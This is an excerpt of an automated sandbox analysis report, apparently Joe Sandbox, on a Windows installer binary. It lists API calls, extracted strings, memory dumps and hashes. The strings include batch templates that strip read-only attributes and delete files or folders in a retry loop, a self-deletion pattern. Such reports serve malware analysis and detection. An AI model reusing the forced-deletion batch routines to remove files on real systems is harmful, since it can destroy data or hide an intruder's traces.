kernel32.dll, xrefs: 0029EF3D
SetDefaultDllDirectories, xrefs: 0029EDDB
SetDllDirectory, xrefs: 0029ED80
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1del "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r ", xrefs: 0029EC77
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try rd "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls, xrefs: 0029EC57, 0029EC5F
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try del "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls, xrefs: 0029EC52
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1rd "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r ", xrefs: 0029EC70, 0029EC7F
SetSearchPathMode, xrefs: 0029ED25

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$AddressProc$DirectoryHandleHeapModuleProcessSystem_wcschr
String ID: @echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try del "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try rd "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1rd "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r "$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1del "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r "$SetDefaultDllDirectories$SetDllDirectory$SetSearchPathMode$kernel32$kernel32.dll
API String ID: 1258094593-3455668873
Opcode ID: 5849b21691e676d70f2f8014eeaf3455d36d07be9b85db89e4b108b707b5e1d3
Instruction ID: 1dd14a47ce026b6f7b7aae199667e02c0df88a8645fdbff1cf42fd0beecfb6fd
Opcode Fuzzy Hash: 5849b21691e676d70f2f8014eeaf3455d36d07be9b85db89e4b108b707b5e1d3
Instruction Fuzzy Hash: 5AA18FB49203A8DBDF22CF96D849B9EBBB4FB01304F105259D9187B2C1D7B05909CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6A56A680 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000001F6,AA831995,?,00000000,?,?,?,?,?,?,00000000,6A59F405,000000FF), ref: 6A56A6CE
GetDlgItem.USER32(?,000001F8,?,?,?,?,?,?,00000000,6A59F405,000000FF), ref: 6A56A6DB
GetDlgItem.USER32(?,000001F7,Details <<,0000000A), ref: 6A56A728
SetWindowTextW.USER32(00000000,00000000), ref: 6A56A737
ShowWindow.USER32(?,00000005), ref: 6A56A757

Part of subcall function 6A569BB0: GetWindowLongW.USER32(?,000000F0,?,?,?,?), ref: 6A569BEF
Part of subcall function 6A569BB0: GetWindowLongW.USER32(?,000000F0,?,?), ref: 6A569C00
Part of subcall function 6A569BB0: SetWindowLongW.USER32(?,000000F0,00000000,?,?), ref: 6A569C12
Part of subcall function 6A569BB0: GetWindowLongW.USER32(?,000000EC,?,?), ref: 6A569C25
Part of subcall function 6A569BB0: SetWindowLongW.USER32(?,000000EC,00000000,?,?), ref: 6A569C34
Part of subcall function 6A569BB0: SendMessageW.USER32(?,0000007F,00000000,00000000,?,?), ref: 6A569C48
Part of subcall function 6A569BB0: SendMessageW.USER32(?,00000080,00000000,00000000,?,0000007F,00000000,00000000,?,?), ref: 6A569C57
Part of subcall function 6A569BB0: GetClientRect.USER32(?,?,?,?), ref: 6A569C6E
Part of subcall function 6A569BB0: GetClientRect.USER32(?,?,?,?,?,?), ref: 6A569C92

GetDlgItem.USER32(?,000001F7,Details >>,0000000A), ref: 6A56A776
SetWindowTextW.USER32(00000000,00000000), ref: 6A56A785
ShowWindow.USER32(?,00000000), ref: 6A56A7A5
ShowWindow.USER32(?,00000000), ref: 6A56A7AC
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000616), ref: 6A56A7F5
GetDlgItem.USER32(00000000,00000000,?,?,00000616), ref: 6A56A829
IsWindow.USER32(00000000,?,?,00000616), ref: 6A56A833
IsRectEmpty.USER32(?,?,?,00000616), ref: 6A56A850
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?,?,00000616), ref: 6A56A880

Strings

Details <<, xrefs: 6A56A70F
Details >>, xrefs: 6A56A75D

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Window$ItemLong$RectShow$ClientMessageSendText$Empty
String ID: Details <<$Details >>
API String ID: 263192859-3763984547
Opcode ID: 65c8dc0e1744d0de7ef8f75bf905783ac089ef82e42b4d1deb03140c402536c5
Instruction ID: 8e1f46ae44b58fdfa20e030a833782af91451a8593ca5b5dfe1194994229e396
Opcode Fuzzy Hash: 65c8dc0e1744d0de7ef8f75bf905783ac089ef82e42b4d1deb03140c402536c5
Instruction Fuzzy Hash: 7C617D71A00208ABDB15DFA9CC45BAEBBF5FF88704F158619F612A7291DB31A845CB60

Uniqueness

Uniqueness Score: -1.00%

Function 002C4950 Relevance: 28.2, APIs: 1, Strings: 15, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

OutputDebugStringW.KERNEL32(?,DF534560,?,?,?,003B1425,000000FF,?,002F4FDF,?,?,?,00000000), ref: 002C4AE8

Strings

MSINEWINSTANCE=1 , xrefs: 002C56F6
"%s" TRANSFORMS="%s;%s;%s" AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 , xrefs: 002C5AEF
TRANSFORMS=:%s.mst MSINEWINSTANCE=1 , xrefs: 002C5720
"%s" TRANSFORMS="%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 , xrefs: 002C5628
Lt=, xrefs: 002C58AF
TRANSFORMS=":%s.mst;%s" MSINEWINSTANCE=1 , xrefs: 002C570F
majorupgrade-content.mst, xrefs: 002C5566, 002C5A5F
AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 , xrefs: 002C59A5
TRANSFORMS="%s" AI_INST_MAJORUPGRADE=1, xrefs: 002C56C7
Lt=, xrefs: 002C57A2
.msi, xrefs: 002C5557, 002C5A50
REINSTALL=ALL REINSTALLMODE=vomus , xrefs: 002C5BA3
%s , xrefs: 002C585C, 002C5B91
"%s" TRANSFORMS="%s;%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 , xrefs: 002C55C2
.mst, xrefs: 002C55A7, 002C560E, 002C5ACE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$DebugHeapOutputProcessString
String ID: "%s" TRANSFORMS="%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 $ "%s" TRANSFORMS="%s;%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 $ "%s" TRANSFORMS="%s;%s;%s" AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 $ %s $ AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 $ MSINEWINSTANCE=1 $ REINSTALL=ALL REINSTALLMODE=vomus $ TRANSFORMS="%s" AI_INST_MAJORUPGRADE=1$ TRANSFORMS=":%s.mst;%s" MSINEWINSTANCE=1 $ TRANSFORMS=:%s.mst MSINEWINSTANCE=1 $.msi$.mst$Lt=$Lt=$majorupgrade-content.mst
API String ID: 1673903050-4135639292
Opcode ID: 1e30df428531343de962ecb73911fe170a1465639ee5751041d19a62d77f2db9
Instruction ID: 4ad638b11ff7b55d1ea79ab352acaa7009139fe71740290e7a6015193e9568d0
Opcode Fuzzy Hash: 1e30df428531343de962ecb73911fe170a1465639ee5751041d19a62d77f2db9
Instruction Fuzzy Hash: B951CF75A002469FDB14DF6CC854BAEBBF4EF45321F1482ADE815AB392EB309D00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A56A500 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6A565C90: LoadLibraryW.KERNEL32(ComCtl32.dll,AA831995), ref: 6A565CC4
Part of subcall function 6A565C90: GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 6A565CE7
Part of subcall function 6A565C90: FreeLibrary.KERNEL32(00000000), ref: 6A565D47

GetDlgItem.USER32(?,000001F4,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A536
SendMessageW.USER32(00000000,00000170,00000000,00000000,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A547
GetDC.USER32(00000000,0000005A,00000048,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A54F
GetDeviceCaps.GDI32(00000000,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A556
MulDiv.KERNEL32(00000009,00000000), ref: 6A56A55F
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,Courier New), ref: 6A56A588
GetDlgItem.USER32(?,000001F6,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A599
IsWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A5A2
SendMessageW.USER32(00000000,00000030,?,00000000,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A5B9
GetDlgItem.USER32(?,000001F8,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A5C3
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A5D4
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A5E7
GetWindowRect.USER32(00000000,?,?,?,?,?,?,?,?,?,?,6A56A4DE,?), ref: 6A56A5F7

Strings

Courier New, xrefs: 6A56A565

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Window$ItemRect$LibraryMessageSend$AddressCapsCreateDeviceFontFreeLoadProc
String ID: Courier New
API String ID: 1731048342-2572734833
Opcode ID: 336c82076efa66a894ec3c6e7d77f9810e564f07f00312fc3a32f5caef45b693
Instruction ID: 728ca21fa43c32e3f4b13d530a1543a9f41a4d95ca7b2cdd5f26b11a65e46f57
Opcode Fuzzy Hash: 336c82076efa66a894ec3c6e7d77f9810e564f07f00312fc3a32f5caef45b693
Instruction Fuzzy Hash: 7A4187717803087BEA14DF258C46FAE77E8BF99B04F021519FB06BA1D1DBB0AD408B55

Uniqueness

Uniqueness Score: -1.00%

Function 001BCC00 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 246libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,DF534560,?,?,00000000,?,?,?,?,?,?,DF534560,003729C5,000000FF), ref: 001BCC6D
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 001BCC73
LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,?,?,?,?,?,DF534560,003729C5,000000FF,?,00207EDA,003DFD3C,DF534560,DF534560), ref: 001BCCA3
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 001BCCA9

Strings

Lt=, xrefs: 001BCD3D
CoIncrementMTAUsage, xrefs: 001BCC99
RoGetActivationFactory, xrefs: 001BCC63
combase.dll, xrefs: 001BCC68, 001BCC9E
.dll, xrefs: 001BCDC6
DllGetActivationFactory, xrefs: 001BCE22

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$Lt=$RoGetActivationFactory$combase.dll
API String ID: 2574300362-2712652403
Opcode ID: 165d31aba01822b82401058a7235b1eddaa6d7b9db98f005d8f31d17a3dca89d
Instruction ID: 95f8ae19bc66b94e334c55b243fcb393db8d44c76e83371f2ba4f206ff396414
Opcode Fuzzy Hash: 165d31aba01822b82401058a7235b1eddaa6d7b9db98f005d8f31d17a3dca89d
Instruction Fuzzy Hash: B8A16C71A00209EFDF15DFA8C995BEEBFF4AF58314F144129E415EB291DB70AA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001BD4C0 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 222libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,DF534560,?,?,?,?,?,?,?,DF534560,00372BE5,000000FF,?,001BD7DA,003D8D14), ref: 001BD527
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 001BD52D
LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,?,?,?,?,DF534560,00372BE5,000000FF,?,001BD7DA,003D8D14,DF534560,DF534560), ref: 001BD55E
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 001BD564

Strings

CoIncrementMTAUsage, xrefs: 001BD554
RoGetActivationFactory, xrefs: 001BD51D
Lt=, xrefs: 001BD5FA
combase.dll, xrefs: 001BD522, 001BD559
.dll, xrefs: 001BD669
DllGetActivationFactory, xrefs: 001BD6A9

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$Lt=$RoGetActivationFactory$combase.dll
API String ID: 2574300362-2712652403
Opcode ID: 328fae4fd33206b5ade7c51d4775a96d211a1b571c00fa30100e5f24e7ef4338
Instruction ID: 0f12beff269b2241644985ca0594f132ad37be392defd0ee02b02b41f32db2f0
Opcode Fuzzy Hash: 328fae4fd33206b5ade7c51d4775a96d211a1b571c00fa30100e5f24e7ef4338
Instruction Fuzzy Hash: 8C81A171D00208EFDF19DFA8D995BEEBBB4EF48314F144129F415A7291EB74A904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001E8D90 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 431memorysynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

CreateThread.KERNEL32(00000000,00000000,001E8EE0,003DB978,00000000,?), ref: 001E8E5A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 001E8E73
CloseHandle.KERNEL32(00000000), ref: 001E8E89
GetProcessHeap.KERNEL32(?,00000000), ref: 001E903B
HeapFree.KERNEL32(00000000,?,00000000), ref: 001E9041
GetProcessHeap.KERNEL32(?,00000000), ref: 001E90BA
HeapFree.KERNEL32(00000000,?,00000000), ref: 001E90C0
Concurrency::cancel_current_task.LIBCPMT ref: 001E9298

Strings

Lt=, xrefs: 001E9015
v=, xrefs: 001E90F8
t=, xrefs: 001E8E7D
Lt=, xrefs: 001E9096

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$Process$FreeInit_thread_footer$CloseConcurrency::cancel_current_taskCreateHandleObjectSingleThreadWait
String ID: v=$Lt=$Lt=$t=
API String ID: 370743205-1593079143
Opcode ID: 50785b246ff0f7e8589cad8bf7e882d9c352daac89dba27b3c98244569840e43
Instruction ID: 42ec457248fed89ae7cf8acb2f69ec9bb26a0307d0daabf959124c3401566305
Opcode Fuzzy Hash: 50785b246ff0f7e8589cad8bf7e882d9c352daac89dba27b3c98244569840e43
Instruction Fuzzy Hash: 90027C70D00749DFDB15CFA9C945BEEBBB8FF44304F248159E915AB281DB74AA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A569BB0 Relevance: 21.2, APIs: 14, Instructions: 150windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0,?,?,?,?), ref: 6A569BEF
GetWindowLongW.USER32(?,000000F0,?,?), ref: 6A569C00
SetWindowLongW.USER32(?,000000F0,00000000,?,?), ref: 6A569C12
GetWindowLongW.USER32(?,000000EC,?,?), ref: 6A569C25
SetWindowLongW.USER32(?,000000EC,00000000,?,?), ref: 6A569C34
SendMessageW.USER32(?,0000007F,00000000,00000000,?,?), ref: 6A569C48
SendMessageW.USER32(?,00000080,00000000,00000000,?,0000007F,00000000,00000000,?,?), ref: 6A569C57
GetClientRect.USER32(?,?,?,?), ref: 6A569C6E
GetClientRect.USER32(?,?,?,?,?,?), ref: 6A569C92
GetWindowRect.USER32(?,?,?,?,?,?), ref: 6A569C96
GetDlgItem.USER32(?,?,?,?,?,?), ref: 6A569CD2
IsWindow.USER32(00000000,?,?,?,?,?,?), ref: 6A569CDD
GetWindowRect.USER32(?,?,?,?,?,?,?,?), ref: 6A569CF8
MapWindowPoints.USER32(00000000,?,?,00000002,?,?,?,?,?,?), ref: 6A569D09

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Window$Long$Rect$ClientMessageSend$ItemPoints
String ID:
API String ID: 3417004906-0
Opcode ID: 2cb65f8fdecc1428bed2a95e6b00c09b8bea1698ace50699152b855620c60e56
Instruction ID: d780d2a4d2bf1f80d9829f10c7a73ece2f0ab426779973b692b1ca12aa8cb12f
Opcode Fuzzy Hash: 2cb65f8fdecc1428bed2a95e6b00c09b8bea1698ace50699152b855620c60e56
Instruction Fuzzy Hash: 3441AF75608305DFE720DF69C844B2AB7F4BF99710F114A1EF596D2191DB30E8848B62

Uniqueness

Uniqueness Score: -1.00%

Function 002E6800 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 454synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 002E8690: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,002E683A,?,DF534560,?,?,?,000000FF,?,002E61F4), ref: 002E869D
Part of subcall function 002E8690: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,002E683A,?,DF534560,?,?,?,000000FF,?,002E61F4,?), ref: 002E86BE
Part of subcall function 002E8690: GetLastError.KERNEL32(?,DF534560,?,?,?,000000FF,?,002E61F4,?,?,00000000,00000000,DF534560,?,?), ref: 002E871E

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

ResetEvent.KERNEL32(?,00000000,003B874D), ref: 002E690A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002E6929
WaitForSingleObject.KERNEL32(DF534560,000000FF), ref: 002E6930

Part of subcall function 001B9120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,001BCB50,-00000010,?,002F55F7,00000008,DF534560), ref: 001B9143

Strings

GET, xrefs: 002E688A
d'?, xrefs: 002E6BA2
X)?, xrefs: 002E694A
SVWhh'?, xrefs: 002E6C6D
attachment, xrefs: 002E6B3D
X)?, xrefs: 002E6996
filename, xrefs: 002E6C81
P)?, xrefs: 002E6936

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Event$CreateInit_thread_footerObjectSingleWait$ErrorFindHeapLastProcessResetResource
String ID: GET$P)?$SVWhh'?$X)?$X)?$attachment$d'?$filename
API String ID: 818129584-3773666332
Opcode ID: 4bdea09fe35df2d45773cfb5f6bfa3a7755014f4fc3ba13d4af0e87b2c08cc50
Instruction ID: 9358c23feade0946390d58d151f315dcb3e326eb40a5908d1e29a90907e1f272
Opcode Fuzzy Hash: 4bdea09fe35df2d45773cfb5f6bfa3a7755014f4fc3ba13d4af0e87b2c08cc50
Instruction Fuzzy Hash: 5402BC70A1028ADFDB10DFA9C848BEEBBF4FF24314F548169E515AB391DB709A04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A56A280 Relevance: 19.7, APIs: 13, Instructions: 191COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB,AA831995), ref: 6A56A2B4
DeleteObject.GDI32(?), ref: 6A56A300

Part of subcall function 6A569D50: IsWindowVisible.USER32(?,00000000,?,75A88510,00000000), ref: 6A569D66
Part of subcall function 6A569D50: SendMessageW.USER32(?,0000000B,00000000,00000000,?,00000000,?,75A88510,00000000), ref: 6A569D82
Part of subcall function 6A569D50: GetWindowLongW.USER32(?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569D88
Part of subcall function 6A569D50: GetDlgItem.USER32(?,?,?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569DFA
Part of subcall function 6A569D50: GetWindowRect.USER32(00000000,?,?,?,?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569E12
Part of subcall function 6A569D50: MapWindowPoints.USER32(00000000,?,00000002,00000002,?,?,?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569E23

EndDialog.USER32(?,00000000), ref: 6A56A372

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Window$Long$DeleteDialogItemMessageObjectPointsRectSendVisible
String ID:
API String ID: 2368538989-0
Opcode ID: c862d541b29c0c55f347c6d51a65527d6ee290e40dee66dd2722e1ea82d77b7c
Instruction ID: a0947b662ffd5badd9dda817ea3da06e8bc9c467e7959c18a8fbdc51d15b6c15
Opcode Fuzzy Hash: c862d541b29c0c55f347c6d51a65527d6ee290e40dee66dd2722e1ea82d77b7c
Instruction Fuzzy Hash: 4061D531640215ABDB10DF68CC89BAEBBF4FF49321F111619E626E66E0DB34D940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A54F890 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 436COMMON

Download Yara Rule

APIs

#74.MSI(?,UpgradeCode,?,00000001,00000001,?,AA831995,00000000,00000000), ref: 6A54F922
#74.MSI(?,UpgradeCode,?,00000001,00000002,?), ref: 6A54F96C
